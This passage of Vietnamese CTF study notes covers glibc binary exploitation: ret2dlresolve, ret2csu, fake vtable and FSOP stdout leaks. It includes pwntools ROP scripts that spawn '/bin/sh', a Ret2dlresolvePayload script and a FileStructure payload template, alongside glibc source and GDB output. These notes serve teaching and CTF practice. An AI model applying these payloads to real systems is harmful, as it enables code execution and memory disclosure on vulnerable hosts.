p64(st_value) SYMTAB_struct += p64(st_size) r_offset = exe.got['read'] r_info = (symbol_number << 32) | 7 r_addend = 0 JMPREL_struct = p64(r_offset) JMPREL_struct += p64(r_info) ``` - dlresolve: - ta cần setup trước khi gọi **system** cho $rdi và $rsi ```python payload = flat( b'A'*8, #padding pop_rsi_r15, 0, 0, pop_rdi, 0x404a80, #string /bin/sh link_map, relog_arg, ... ) ``` - sau đó DEBUG, check từng fake_struct đã đúng vị trí hay chưa - fake_JMPREL = JMPREL+relog_arg*24 - fake_SYMTAB = SYMTAB+(r_info >> 32)*24 - fake_STRTAB = địa chỉ trỏ đến ‘system\0\0’ - từ đó mà align lại các fake_addr - [writeup mẫu](https://hackmd.io/@trhoanglan04/ryRRPyhxT#way3) - payload cho dlresolve: ```python payload = flat( b'A'*8, #a00 #padding pop_rsi_r15, #a08 0, 0, #a10 #a18 pop_rdi, #a20 0x404a80, #a28 #string /bin/sh link_map, #a30 #link_map reloc_arg, #a38 #reloc_arg SYMTAB_struct, #a40 #a48 #a50 0, 0, #a58 #a60 #padding JMPREL_struct, #a68 #a70 b'system\0\0', #a78 b'/bin/sh\0' #a80 ) ``` ## tool - thư viện pwntools có class gọi là ``Ret2dlresolvePayload`` >automates all the linking and resolution process - [xem thêm](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html) - script mẫu: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./void',checksec=False) p = process(exe.path) dlresolve = Ret2dlresolvePayload(exe, symbol='system', args=['/bin/sh\0']) rop = ROP(exe) rop.read(0, dlresolve.data_addr) rop.raw(rop.ret[0]) rop.ret2dlresolve(dlresolve) raw_rop = rop.chain() payload = b'a'*72 #padding payload += raw_rop p.send(payload) p.send(dlresolve.payload) p.interactive() ``` --- # RET2CSU - là 1 kỹ thuật "bypass ASLR" - khi ta không có đầy đủ gadget cần thiết để thực hiện ROP_chain - nhưng lại có vài gadget luôn hiện hữu khi compile 1 file Dynamic binary ## Analyse - khi một chương trình được compiled, ngoài các đoạn code ta viết sẽ run thì bên cạnh đó, sẽ có một số bước 'setup' mặc định được thêm vào ---> tạo environment value, 'huỷ' chương trình khi exit, v.v.. ![](https://hackmd.io/_uploads/SJsyb2NTh.png) > thứ tự run khi đi từ **entry()** - khi ta ``disas`` hàm ``__libc_csu_init`` thì thấy rằng: ![](https://hackmd.io/_uploads/Hkgcq1nxp.png) > vài gadget để sửa các thanh ghi đáng chú ý - ta sẽ quan tâm đến 2 gadget sau ![](https://hackmd.io/_uploads/HyNo9v2gp.png) > gadget1 sẽ luôn cố định là pop_rdx_rbp_r12_r13_r14_r15_ret > gadget2 sẽ tuỳ challenge mà khác 1 chút - GIẢ SỬ, ta có lỗi BOF ---> điều khiển được register ===> chain được gadget1 -> gadget2 và **call** đến địa chỉ mong muốn ## How? - vì vulnerable này quá đỗi "bá đạo" nên từ glibc 2.34 trở lên đã bị removed ![](https://hackmd.io/_uploads/Sy9-8D2gT.png) [link](https://sourceware.org/legacy-ml/libc-alpha/2018-06/msg00717.html) - for examble: ```c int main(int argc, const char *argv[]) { return 0; } ``` > code C program do-nothing ```sh $ gcc empty.c -o empty $ nm -a empty | grep " t\| T" 0000000000000520 t deregister_tm_clones 00000000000005b0 t __do_global_dtors_aux 0000000000200df8 t __do_global_dtors_aux_fini_array_entry 0000000000000684 T _fini 0000000000000684 t .fini 0000000000200df8 t .fini_array 00000000000005f0 t frame_dummy 0000000000200df0 t __frame_dummy_init_array_entry 00000000000004b8 T _init 00000000000004b8 t .init 0000000000200df0 t .init_array 0000000000200df8 t __init_array_end 0000000000200df0 t __init_array_start 0000000000000680 T __libc_csu_fini 0000000000000610 T __libc_csu_init 00000000000005fa T main 00000000000004d0 t .plt 00000000000004e0 t .plt.got 0000000000000560 t register_tm_clones 00000000000004f0 T _start 00000000000004f0 t .text ``` > listing symbols after compiling an empty C file ``` Symbol | File where the symbols was linked from =================================================================== deregister_tm_clones | register_tm_clones | /usr/lib/gcc/x86 64-linux-gnu/7/crtbeginS.o __do_global_dtors _ux | frame_dummy | ------------------------------------------------------------------- __libc_csu_fini | /usr/lib/x86 64-linux-gnu/libc nonshared.a __libc_csu_init | ------------------------------------------------------------------- _fini | /usr/lib/x86 64-linux-gnu/crti.o _init | ------------------------------------------------------------------- _start | /usr/lib/x86 64-linux-gnu/Scrt1.o ``` > symbol names and files linked in Dynamic Executables ## Exploit - lấy ví dụ ở hình trên, ta sẽ setup các thanh ghi như sau | Registers | Value | |:---------:|:-----------------:| | $rbx | =0 | | $rbp | =1 (compulsory) | | $r12 | edi (4 bytes) | | $r13 | = rsi | | $r14 | =rdx | | $r15 | controllable addr | - vì nó sẽ gọi đến ``call QWORD PTR [r15 + rbx*8]`` nên để dễ khai thác ta sẽ set ``$rbx = 0`` - ngoài ra khi chain gadget, ta để ý thấy: ![](https://hackmd.io/_uploads/rkhdRv2gp.png) >còn các bước: >``` >add rbx,0x1 >cmp rbp,rbx >jne 0x401198 <__libc_csu_init+56> >``` >sẽ thực hiện lại gadget2 ---> loop chương trình :::warning ⚠️ only exployable with binary compiled dynamic by glibc <= 2.33 ⚠️ ``r15+rbx*8`` contain ptr point to addr-which-we-want--to-call ::: --- # FILE Structure Attack ## FILE Explanation - ``FILE`` là một dạng data được định nghĩa trong glibc (tức là khi ta muốn open 1 file C) > chú ý là nó khác với OS file descriptor - mục đích loại data này là giúp ta mở file nhanh hơn bằng cách sử dụng buffer để giảm bớt các **IO syscall** (read,write) :::spoiler 👉 specific thông qua thư viện stdio: - thay vì ta dùng **syscall** ``write`` mỗi lần ta muốn ghi dữ liệu vào 1 file (directly write the data to the hard_disk) (in this case is ``fwrite``) - stdio sẽ cố gắng để gọi là 'handle' tất cả những operations bằng cách quản lí các data trong buffer -> chuyển qua hard_disk (through **OS syscall**) >khi đáp ứng điều kiện nhất định : buffer is full or got flushed ::: - mặc định, có 3 cấu trúc file ở libc luôn available là: - ``_IO_2_1_stdin_`` : stdin - ``_IO_2_1_stdout_`` : stdout - ``_IO_2_1_stderr_`` : stderr ## overview [FILE](https://elixir.bootlin.com/glibc/glibc-2.35/source/libio/bits/types/FILE.h#L7) ```c= typedef struct _IO_FILE FILE; ``` - datatype của ``FILE`` lại là struct của ``_IO_FILE`` [_IO_FILE](https://elixir.bootlin.com/glibc/glibc-2.35/source/libio/bits/types/struct_FILE.h#L49) ```c= /* The tag name of this struct is _IO_FILE to preserve historic C++ mangled names for functions taking FILE* arguments. That name should not be used in new code. */ struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ /* The following pointers correspond to the C++ streambuf protocol. */ char *_IO_read_ptr; /* Current read pointer */ char *_IO_read_end; /* End of get area. */ char *_IO_read_base; /* Start of putback+get area. */ char *_IO_write_base; /* Start of put area. */ char *_IO_write_ptr; /* Current put pointer. */ char *_IO_write_end; /* End of put area. */ char *_IO_buf_base; /* Start of reserve area. */ char *_IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno; int _flags2; __off_t _old_offset; /* This used to be _offset but it's too small. */ /* 1+column number of pbase(); 0 is unknown. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; _IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE }; struct _IO_FILE_complete { struct _IO_FILE _file; #endif __off64_t _offset; /* Wide character stream stuff. */ struct _IO_codecvt *_codecvt; struct _IO_wide_data *_wide_data; struct _IO_FILE *_freeres_list; void *_freeres_buf; size_t __pad5; int _mode; /* Make sure we don't get into trouble again. */ char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)]; }; ``` :::spoiler detail - ``_flags`` - this means read/write/append permissions to the file - **0xfbad0000** is the magic value and the lower 2 bytes are several bit flags - ``_IO_read_ptr`` - a pointer to the file read buffer. - ``_IO_read_end`` - pointer to the end of the file read buffer address. - ``_IO_read_base`` - this is a pointer to the start of the file read buffer address. - ``_IO_write_base`` - a pointer to the start of the file write buffer address. - ``_IO_write_ptr`` - a pointer to the write buffer. - ``_IO_write_end`` - pointer to the end of the file write buffer address. - ``_chain`` - ``_IO_FILE`` the structure of the process ``_chain`` creates a linked list through fields - the header of the linked list ``_IO_list_all`` is stored in the global variable of the library - ``_fileno`` - the value of the file descriptor. - return by sys_open ::: - kích thước của struct ``_IO_FILE`` là 0xd0 - có thể thấy ở dòng 26, cấu trúc ``FILE`` là 1 _chain liên kết với nhau (qua dslk đơn) ![](https://hackmd.io/_uploads/HyWdvcMba.png) >đầu _chain là ``_IO_list_all`` [_IO_list_all](https://elixir.bootlin.com/glibc/glibc-2.35/source/libio/stdfiles.c#L56) ```c struct _IO_FILE_plus *_IO_list_all = &_IO_2_1_stderr_; ``` - take a look about the chain below in GDB ```pwndbg pwndbg> p _IO_list_all $1 = (struct _IO_FILE_plus *) 0x7ffff7dd2520 <_IO_2_1_stderr_> pwndbg> p _IO_2_1_stderr_.file._chain $2 = (struct _IO_FILE *) 0x7ffff7dd2600 <_IO_2_1_stdout_> pwndbg> p _IO_2_1_stdout_.file._chain $3 = (struct _IO_FILE *) 0x7ffff7dd18c0 <_IO_2_1_stdin_> pwndbg> p _IO_2_1_stdin_.file._chain $4 = (struct _IO_FILE *) 0x0 ``` - and sample for struct: > will comment some may_need 's exploit_addr ```pwndbg pwndbg> p _IO_2_1_stderr_ $2 = { file = { _flags = 0xfbad2086, //0x0 _IO_read_ptr = 0x0, //0x8 _IO_read_end = 0x0, //0x10 _IO_read_base = 0x0, //0x18 _IO_write_base = 0x0, //0x20 _IO_write_ptr = 0x0, //0x28 _IO_write_end = 0x0, _IO_buf_base = 0x0, _IO_buf_end = 0x0, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7ffff7e1a780 <_IO_2_1_stdout_>, //0x68 _fileno = 0x2, //file descriptor for stderr is 2 _flags2 = 0x0, _old_offset = 0xffffffffffffffff, _cur_column = 0x0, _vtable_offset = 0x0, _shortbuf = "", _lock = 0x7ffff7e1ba60 <_IO_stdfile_2_lock>, _offset = 0xffffffffffffffff, _codecvt = 0x0, _wide_data = 0x7ffff7e198a0 <_IO_wide_data_2>, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0x0, _mode = 0x0, //0xc0 _unused2 = '\000' <repeats 19 times> }, vtable = 0x7ffff7e16600 <_IO_file_jumps> //0xd8 } ``` [_IO_FILE_plus](https://elixir.bootlin.com/glibc/glibc-2.35/source/libio/libioP.h#L324) ```c /* We always allocate an extra word following an _IO_FILE. This contains a pointer to the function jump table used. This is for compatibility with C++ streambuf; the word can be used to smash to a pointer to a virtual function table. */ struct _IO_FILE_plus { FILE file; const struct _IO_jump_t *vtable; }; ``` - glibc cũng có 1 phiên bản mở rộng cho struct ``_IO_FILE`` gọi là ``_IO_FILE_plus`` > hiểu đơn giản nó là ``_IO_FILE`` + **vtable** > size cho ``_IO_FILE`` như đề cập trên là 0xd0 > và đến **vtable** là 0xd8 ![](https://hackmd.io/_uploads/BJhVnhMZa.png) :::spoiler vtable ? - vtable is stand for 'virtual table' - mean: 'array of pointers to the helper functions during executing the IO operation' ::: - mặc định cái filestream(**stdin**,**stdout**,**stderr**) sẽ sử dụng glibc mở rộng này thay vì ``_IO_FILE`` thô - ngoài ra, khi mình open file bằng **fopen()**, cũng sẽ sử dụng 'extended version' :::spoiler why do we use the extended version (**_IO_FILE_plus**)? - mục đích chính là để cho các hoạt động IO nhanh hơn bằng cách thêm **vtable** - kiểu dữ liệu cho **vtable** là ``_IO_jump_t``, nơi lưu trữ các con trỏ tới các 'phương thức' trợ giúp IO cần thiết ```c const struct _IO_jump_t *vtable; // similiar to extern const struct _IO_jump_t _IO_file_jumps; ``` ![](https://hackmd.io/_uploads/S109hnGZT.png) ::: [_IO_file_jumps](https://elixir.bootlin.com/glibc/glibc-2.35/source/libio/libioP.h#L471) ![](https://hackmd.io/_uploads/SJ-nM_vzT.png) - trỏ đến địa chỉ structure, lưu trữ một số con trỏ liên quan đến file > ***vtable** = ``_IO_file_jumps`` ```pwndbg pwndbg> p _IO_file_jumps $1 = { __dummy = 0x0, __dummy2 = 0x0, __finish = 0x7ffff7a703a0 <_IO_new_file_finish>, __overflow = 0x7ffff7a71370 <_IO_new_file_overflow>, __underflow = 0x7ffff7a71090 <_IO_new_file_underflow>, __uflow = 0x7ffff7a72430 <__GI__IO_default_uflow>, __pbackfail = 0x7ffff7a73cc0 <__GI__IO_default_pbackfail>, __xsputn = 0x7ffff7a6f9a0 <_IO_new_file_xsputn>, __xsgetn = 0x7ffff7a6f600 <__GI__IO_file_xsgetn>, __seekoff = 0x7ffff7a6ec00 <_IO_new_file_seekoff>, __seekpos = 0x7ffff7a72a00 <_IO_default_seekpos>, __setbuf = 0x7ffff7a6e8c0 <_IO_new_file_setbuf>, __sync = 0x7ffff7a6e740 <_IO_new_file_sync>, __doallocate = 0x7ffff7a62170 <__GI__IO_file_doallocate>, __read = 0x7ffff7a6f980 <__GI__IO_file_read>, __write = 0x7ffff7a6f200 <_IO_new_file_write>, __seek = 0x7ffff7a6e980 <__GI__IO_file_seek>, __close = 0x7ffff7a6e8b0 <__GI__IO_file_close>, __stat = 0x7ffff7a6f1f0 <__GI__IO_file_stat>, __showmanyc = 0x7ffff7a73e40 <_IO_default_showmanyc>, __imbue = 0x7ffff7a73e50 <_IO_default_imbue> } ``` [_IO_jump_t](https://elixir.bootlin.com/glibc/glibc-2.35/source/libio/libioP.h#L293) - kiểu dữ liệu cho **vtable** ```c struct _IO_jump_t { JUMP_FIELD(size_t, __dummy); JUMP_FIELD(size_t, __dummy2); JUMP_FIELD(_IO_finish_t, __finish); JUMP_FIELD(_IO_overflow_t, __overflow); JUMP_FIELD(_IO_underflow_t, __underflow); JUMP_FIELD(_IO_underflow_t, __uflow); JUMP_FIELD(_IO_pbackfail_t, __pbackfail); /* showmany */ JUMP_FIELD(_IO_xsputn_t, __xsputn); JUMP_FIELD(_IO_xsgetn_t, __xsgetn); JUMP_FIELD(_IO_seekoff_t, __seekoff); JUMP_FIELD(_IO_seekpos_t, __seekpos); JUMP_FIELD(_IO_setbuf_t, __setbuf); JUMP_FIELD(_IO_sync_t, __sync); JUMP_FIELD(_IO_doallocate_t, __doallocate); JUMP_FIELD(_IO_read_t, __read); JUMP_FIELD(_IO_write_t, __write); JUMP_FIELD(_IO_seek_t, __seek); JUMP_FIELD(_IO_close_t, __close); JUMP_FIELD(_IO_stat_t, __stat); JUMP_FIELD(_IO_showmanyc_t, __showmanyc); JUMP_FIELD(_IO_imbue_t, __imbue); }; ``` :::spoiler **vtable** được filled như thế nào nếu tạo 1 extended struct ``FILE`` mới? - ví dụ nếu mở 1 tệp thông qua hàm **fopen()** thì **vtable** sẽ được khởi tạo với giá trị hiện có (``_IO_file_jumps``) như sau: ```c _IO_FILE * __fopen_internal (const char *filename, const char *mode, int is32) { ... _IO_JUMPS (&new_f->fp) = &_IO_file_jumps; ... } ``` - tuỳ theo mục đích sử dụng sẽ có những giá trị khác nhau (for examble: ``_IO_str_jumps``) ::: ## fake vtable - trước khi khai thác cách này, cần lưu ý 1 điều là kỹ thuật chỉ 'exploitable' cho gblic <= 2.23 - bởi lẽ từ glibc 2.24 trở đi, đã có biến check **vtable** (do hàm ``_IO_validate_vtable()`` kiểm tra) > versions after Ubuntu 16.04 ```c /* Check if unknown vtable pointers are permitted; otherwise, terminate the process. */ void attribute_hidden _IO_vtable_check (void) { #ifdef SHARED /* Honor the compatibility flag. */ void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables); #ifdef PTR_DEMANGLE PTR_DEMANGLE (flag); #endif if (flag == &_IO_vtable_check) return; { Dl_info di; struct link_map *l; if (!rtld_active () || (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0 && l->l_ns != LM_ID_BASE)) return; } #else /* !SHARED */ if (__dlopen != NULL) return; #endif __libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n"); } /* Perform vtable pointer validation. If validation fails, terminate the process. */ static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable) { /* Fast path: The vtable pointer is within the __libc_IO_vtables section. */ uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; uintptr_t ptr = (uintptr_t) vtable; uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) /* The vtable pointer is not in the expected section. Use the slow path, which will terminate the process if necessary. */ _IO_vtable_check (); return vtable; } ``` - khi chạy trên glibc > 2.24 (hoặc ví dụ Ubuntu 18.04) sẽ xuất hiện lỗi sau: ```bash Fatal error: glibc detected an invalid stdio handle [*] Got EOF while reading in interactive $ [*] Process './chall' stopped with exit code -6 (SIGABRT) (pid 12345) ``` > **SIGABRT** xảy ra và có thể thấy chương trình đã chấm dứt một cách bất thường - tuy nhiên BUG sinh ra để ta khai thác, thì dù có lớp bảo vệ như trên vẫn có cách bypass > sẽ tìm hiểu thêm (coi thử trước [link](https://learn.dreamhack.io/11#52)) - và nếu như ta không thể tấn công bằng GOT ( ``Full Relro`` chẳng hạn) thì attacker có thể tận dụng ``_IO_FILE`` và ghi đè **vtable** để thực thi chức năng mong muốn - examble: - [dreamhack wargame iofile_vtable](https://hackmd.io/@trhoanglan04/HyieDY4l2#iofile_vtable) ## usage of **vtable** in a ``FILE`` structure - DEMO nhỏ 1 bài C: ```c #include <stdio.h> #include <stdlib.h> int main() { exit(1337); } ``` - điều gì xảy ra khi **exit()** được gọi? > IO operations có tham gia vào quá trình phân giải? [exit](https://elixir.bootlin.com/glibc/glibc-2.24/source/stdlib/exit.c#L103) ```c void exit (int status) { __run_exit_handlers (status, &__exit_funcs, true, true); } ``` - nó sẽ thực thi ``__run_exit_handlers`` [__run_exit_handlers](https://elixir.bootlin.com/glibc/glibc-2.24/source/stdlib/exit.c#L33) ```c /* Call all functions registered with `atexit' and `on_exit', in the reverse of the order in which they were registered perform stdio cleanup, and terminate program execution with STATUS. */ void attribute_hidden __run_exit_handlers (int status, struct exit_function_list **listp, bool run_list_atexit, bool run_dtors) { ... if (run_list_atexit) RUN_HOOK (__libc_atexit, ()); ... } ``` - hmmm, nhìn source thì không có vẻ gì đặc biệt, GDB để nhìn sâu hơn ```pwndbg pwndbg> disas __run_exit_handlers ... 0x00007ffff7a4a1fd <+125>: lea rbp,[rip+0x383694] # 0x7ffff7dcd898 <__elf_set___libc_atexit_element__IO_cleanup__> ... pwndbg> disas __elf_set___libc_atexit_element__IO_cleanup__ ``` - nó sẽ gọi đến [_IO_cleanup](https://elixir.bootlin.com/glibc/glibc-2.24/source/libio/genops.c#L953) ```c int _IO_cleanup (void) { /* We do *not* want locking. Some threads might use streams but that is their problem, we flush them underneath them. */ int result = _IO_flush_all_lockp (0); /* We currently don't have a reliable mechanism for making sure that C++ static destructors are executed in the correct order. So it is possible that other static destructors might want to write to cout - and they're supposed to be able to do so. The following will make the standard streambufs be unbuffered, which forces any output from late destructors to be written out. */ _IO_unbuffer_all (); return result; } ``` - tiếp tục gọi đến [_IO_flush_all_lockp](https://elixir.bootlin.com/glibc/glibc-2.24/source/libio/genops.c#L765) ```c int _IO_flush_all_lockp (int do_lock) { ... last_stamp = _IO_list_all_stamp; fp = (_IO_FILE *) _IO_list_all; while (fp != NULL) { run_fp = fp; if (do_lock) _IO_flockfile (fp); if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) #endif ) && _IO_OVERFLOW (fp, EOF) == EOF) result = EOF; if (do_lock) _IO_funlockfile (fp); run_fp = NULL; if (last_stamp != _IO_list_all_stamp) { /* Something was added to the list. Start all over again. */ fp = (_IO_FILE *) _IO_list_all; last_stamp = _IO_list_all_stamp; } else fp = fp->_chain; } ... } ``` - ``_IO_flush_all_lockp`` sẽ lặp lại ``FILE`` có sẵn > lặp từ header lưu trữ trong ``_IO_list_all`` - và nếu thoã mãn 1 số điều kiện nhất định, gọi đến ``_IO_OVERFLOW (fp, EOF)`` > cố gắng nhảy đến con trỏ lưu trữ trong ``fp.vtable[__overflow]`` ### summaize - tóm lại, khi chương trình bị 'terminates', libc sẽ gọi đến ``_IO_flush_all_lockp`` để refresh file structure - để đảm bảo data không bị mất, tất cả data trong **buffer** sẽ được refreshed ## tool - thư viện pwntools có class gọi là ``FileStructure`` - [xem thêm](https://docs.pwntools.com/en/stable/filepointer.html) - tuỳ theo challenge mà ta sẽ setup FileStructure - payload mẫu ```python fs = FileStructure(null=0x601018) fs.flags = 0xfbad1800 fs._IO_read_base = fs._IO_read_ptr = fs._IO_buf_base = 0x601010 fs._IO_buf_end = 0x601011 fs._IO_read_end = fs._IO_write_base = 0x600fe0 fs._IO_write_ptr = fs._IO_write_end = 0x600fe8 payload = bytes(fs) ``` # FSOP ## Angelboy's leak ### alternative way to leak libc - FSOP : File-Stream Oriented Programing - thông thường bài này sẽ có hàm **puts** để ta tận dụng leak libc - phân tích 1 chút: ```c int _IO_puts (const char *str) { int result = EOF; size_t len = strlen (str); _IO_acquire_lock (stdout); if ((_IO_vtable_offset (stdout) != 0 || _IO_fwide (stdout, -1) == -1) && _IO_sputn (stdout, str, len) == len && _IO_putc_unlocked ('\n', stdout) != EOF) result = MIN (INT_MAX, len + 1); _IO_release_lock (stdout); return result; } weak_alias (_IO_puts, puts) libc_hidden_def (_IO_puts) ``` - **puts** là 'bí danh' của ``_IO_puts`` - ``_IO_puts`` sẽ gọi đến ``_IO_sputn (stdout, str, len)`` > cũng như gọi đến ``_IO_XSPUTN(__fp, __s, __n)`` [xem định nghĩa](https://elixir.bootlin.com/glibc/glibc-2.35/source/libio/libioP.h#L379) - điều đó có nghĩa là nó sẽ nhảy đến con trỏ được lưu trữ cho **key** ``__xsputn`` trong **stdout** ``FILE`` - **stdout** ánh xạ đến **key** ``__xsputn`` trong phương thức ``_IO_new_file_xsputn`` (xem GDB bên dưới) ```pwndbg pwndbg> p _IO_2_1_stdout_ $1 = { file = { _flags = 0xfbad2887, _IO_read_ptr = 0x7ffff7fae803 <_IO_2_1_stdout_+131> "\n", _IO_read_end = 0x7ffff7fae803 <_IO_2_1_stdout_+131> "\n", _IO_read_base = 0x7ffff7fae803 <_IO_2_1_stdout_+131> "\n", _IO_write_base = 0x7ffff7fae803 <_IO_2_1_stdout_+131> "\n", _IO_write_ptr = 0x7ffff7fae803 <_IO_2_1_stdout_+131> "\n", _IO_write_end = 0x7ffff7fae803 <_IO_2_1_stdout_+131> "\n", ... _wide_data = 0x7ffff7fad9a0 <_IO_wide_data_1>, }, vtable = 0x7ffff7faa600 <__GI__IO_file_jumps> } pwndbg> p __GI__IO_file_jumps $2 = { ... __overflow = 0x7ffff7e20e40 <_IO_new_file_overflow>, __underflow = 0x7ffff7e20b30 <_IO_new_file_underflow>, __uflow = 0x7ffff7e21de0 <__GI__IO_default_uflow>, __pbackfail = 0x7ffff7e23300 <__GI__IO_default_pbackfail>, __xsputn = 0x7ffff7e1f680 <_IO_new_file_xsputn>, ... __write = 0x7ffff7e1ef40 <_IO_new_file_write>, } ``` - [source](https://elixir.bootlin.com/glibc/glibc-2.35/source/libio/fileops.c#L1195): ```c size_t _IO_new_file_xsputn (FILE *f, const void *data, size_t n) { const char *s = (const char *) data; size_t to_do = n; int must_flush = 0; size_t count = 0; ... if (to_do + must_flush > 0) { size_t block_size, do_write; /* Next flush the (full) buffer. */ if (_IO_OVERFLOW (f, EOF) == EOF) /* If nothing else has to be written we must not signal the caller that everything has been written. */ return to_do == 0 ? EOF : n - to_do; /* Try to maintain alignment: write a whole number of blocks. */ block_size = f->_IO_buf_end - f->_IO_buf_base; do_write = to_do - (block_size >= 128 ? to_do % block_size : 0); if (do_write) { count = new_do_write (f, s, do_write); to_do -= count; if (count < do_write) return n - to_do; } ... } libc_hidden_ver (_IO_new_file_xsputn, _IO_file_xsputn) ``` >thông qua source code, nó sẽ gọi tới ``_IO_OVERFLOW(f, EOF)`` trước khi gọi ``new_do_write`` (chuỗi ta muốn in) - dựa trên cơ sở **vtable** ( ``_IO_file_jumps`` ), gọi đến ``_IO_OVERFLOW`` tương đương nhảy vào ``_IO_new_file_overflow`` ```c int _IO_new_file_overflow (FILE *f, int ch) { if (f->_flags & _IO_NO_WRITES) /* SET ERROR */ { f->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return EOF; } /* If currently reading or no buffer allocated. */ if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL) { ... } if (ch == EOF) return _IO_do_write (f, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base); ... } libc_hidden_ver (_IO_new_file_overflow, _IO_file_overflow) ``` > nhớ rằng arg cho **ch** là **EOF** ![](https://hackmd.io/_uploads/HJa4NTz-6.png) > khúc **return** này khá bắt mắt - ta tiếp tục coi [source](https://elixir.bootlin.com/glibc/glibc-2.35/source/libio/fileops.c#L421): ```c int _IO_new_do_write (FILE *fp, const char *data, size_t to_do) { return (to_do == 0 || (size_t) new_do_write (fp, data, to_do) == to_do) ? 0 : EOF; } libc_hidden_ver (_IO_new_do_write, _IO_do_write) static size_t new_do_write (FILE *fp, const char *data, size_t to_do) { size_t count; if (fp->_flags & _IO_IS_APPENDING) /* On a system without a proper O_APPEND implementation, you would need to sys_seek(0, SEEK_END) here, but is not needed nor desirable for Unix- or Posix-like systems. Instead, just indicate that offset (before and after) is unpredictable. */ fp->_offset = _IO_pos_BAD; else if (fp->_IO_read_end != fp->_IO_write_base) { off64_t new_pos = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1); if (new_pos == _IO_pos_BAD) return 0; fp->_offset = new_pos; } count = _IO_SYSWRITE (fp, data, to_do); ... } ... #define _IO_SYSWRITE(FP, DATA, LEN) JUMP2 (__write, FP, DATA, LEN) ... ssize_t _IO_new_file_write (FILE *f, const void *data, ssize_t n) { ssize_t to_do = n; while (to_do > 0) { ssize_t count = (__builtin_expect (f->_flags2 & _IO_FLAGS2_NOTCANCEL, 0) ? __write_nocancel (f->_fileno, data, to_do) : __write (f->_fileno, data, to_do)); if (count < 0) { f->_flags |= _IO_ERR_SEEN; break; } to_do -= count; data = (void *) ((char *) data + count); } n -= to_do; if (f->_offset >= 0) f->_offset += n; return n; } ``` - ``_IO_do_write`` là 'bí danh' cho ``_IO_new_do_write`` > which eventually will call ``new_do_write`` - cuối cùng nó sẽ gọi hàm ``_IO_SYSWRITE (fp, data, to_do)`` > ``_IO_SYSWRITE`` sẽ nhảy đến nơi con trỏ **vtable** được lưu trữ ánh xạ từ **key** ``__write`` > với **vtable** được đề cập trên, tương đương sẽ chỉ định đến ``_IO_new_file_write`` > và gọi ``write(f->fileno, data, to_do)`` - các bước thực hiện: ```c puts(str) |_ _IO_new_file_xsputn (stdout, str, len) |_ _IO_new_file_overflow (stdout, EOF) |_ new_do_write(stdout, stdout->_IO_write_base, stdout->_IO_write_ptr - stdout->_IO_write_base) |_ _IO_new_file_write(stdout, stdout->_IO_write_base, stdout->_IO_write_ptr - stdout->_IO_write_base) |_ write(stdout->fileno, stdout->_IO_write_base, stdout->_IO_write_ptr - stdout->_IO_write_base) ``` > trong đó call của bước này ta sẽ để ý > ``` > write(stdout->fileno, stdout->_IO_write_base, stdout->_IO_write_ptr - stdout->_IO_write_base) > ``` - túm lại, để thoả mãn **write(fd,buf,size)** in 1 thứ gì đó ra thì: - ``stdout->fileno`` = 1 (tương đương **fd**) - ``stdout->_IO_write_base`` = const char *buf (tương đương **buf**) - ``stdout->_IO_write_ptr - stdout->_IO_write_base`` = size_t count (tương đương **size**) ![](https://hackmd.io/_uploads/SkW1tTf-p.png) ``write(1, _IO_write_base, _IO_write_ptr - _IO_write_base)`` ## define vars - ta xem qua các [biến](https://elixir.bootlin.com/glibc/glibc-2.35/source/libio/libio.h#L71) được định nghĩa ntn: ```c #define _IO_MAGIC 0xFBAD0000 /* Magic number */ #define _IO_MAGIC_MASK 0xFFFF0000 #define _IO_USER_BUF 0x0001 /* Don't deallocate buffer on close. */ #define _IO_UNBUFFERED 0x0002 #define _IO_NO_READS 0x0004 /* Reading not allowed. */ #define _IO_NO_WRITES 0x0008 /* Writing not allowed. */ #define _IO_EOF_SEEN 0x0010 #define _IO_ERR_SEEN 0x0020 #define _IO_DELETE_DONT_CLOSE 0x0040 /* Don't call close(_fileno) on close. */ #define _IO_LINKED 0x0080 /* In the list of all open files. */ #define _IO_IN_BACKUP 0x0100 #define _IO_LINE_BUF 0x0200 #define _IO_TIED_PUT_GET 0x0400 /* Put and get pointer move in unison. */ #define _IO_CURRENTLY_PUTTING 0x0800 #define _IO_IS_APPENDING 0x1000 #define _IO_IS_FILEBUF 0x2000 /* 0x4000 No longer used, reserved for compat. */ #define _IO_USER_LOCK 0x8000 ``` - để **write()** thành công thì ở hàm ``_IO_new_file_overflow`` cần bypass các check trước khi gọi ``_IO_do_write`` - ``if (f->_flags & _IO_NO_WRITES)`` cần return **False** - ``_IO_NO_WRITES`` là 0x0008, có nghĩa ``stdout->_flags & 0x0008`` cần = 0 - ``if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)`` cần return **False** - ``_IO_write_base == NULL`` luôn return **False** vì nó trỏ đến vùng libc_area - ``_IO_CURRENTLY_PUTTING`` là 